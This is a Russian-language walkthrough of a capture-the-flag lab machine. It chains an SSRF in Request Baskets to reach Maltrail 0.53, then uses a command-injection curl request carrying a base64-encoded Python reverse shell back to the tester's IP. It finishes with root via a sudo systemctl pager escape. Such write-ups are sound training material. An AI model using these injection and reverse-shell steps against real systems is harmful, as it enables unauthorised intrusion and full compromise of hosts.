Обзор сервисов

Стандартный запрос nmap показывает следующие сервисы:

$ /opt/nmapAutomator/nmapAutomator.sh -t Full -H 10.129.246.83
Running a Full scan on 10.129.246.83
Host is likely running Linux                                                                                                   
---------------------Starting Full Scan------------------------                                              
PORT      STATE SERVICE
22/tcp    open  ssh
55555/tcp open  unknown
Making a script scan on all ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
55555/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 09 Jul 2023 15:26:04 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sun, 09 Jul 2023 15:25:36 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sun, 09 Jul 2023 15:25:37 GMT
|_    Content-Length: 0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
---------------------Finished all scans------------------------
Completed in 4 minute(s) and 4 second(s)

Веб-интерфейс

Нас встречает Requests Basket версии 1.2.1. Беглый анализ показывает, что существует публичный эксплоит для SSRF. Воспользуемся полезной нагрузкой:

{
  "forward_url": "http://127.0.0.1:80/",
  "proxy_response": true,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}

Alt text

Перейдя по адресу 10.129.246.83:55555/test15, обнаружим прикладное ПО Maltrail 0.53.

Alt text

Для версии ниже 0.54 существует публичный эксплоит RCE. Нужно закодировать реверс шелл в base64, после чего запустить эксплоит:

nc -lnvp 443
curl 'http://10.129.246.83:55555/test15/login' --data 'username=;`echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMTA4Iiw0NDMpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oInNoIikn | base64 -d | bash`'

Пользовательский флаг

Сразу же забираем пользовательский флаг.

$ pwd
pwd
/home/puma
$ ls
ls
user.txt
$ id
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
$ cat user.txt
cat user.txt
d10f093a3a2f787453473e575250a67d

Alt text

Повышение привилегий

Проверим стандартные права для sudo.

$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

Воспользуемся gtfobins и поднимем себе привилегии.

$ sudo systemctl status trail.service
...
$ !sh
# id
uid=0(root) gid=0(root) groups=0(root)

Флаг суперпользователя

$ cd /root
$ cat root.txt
0b7280bc4161a5bcfd5e8f2cc2aad54f

Alt text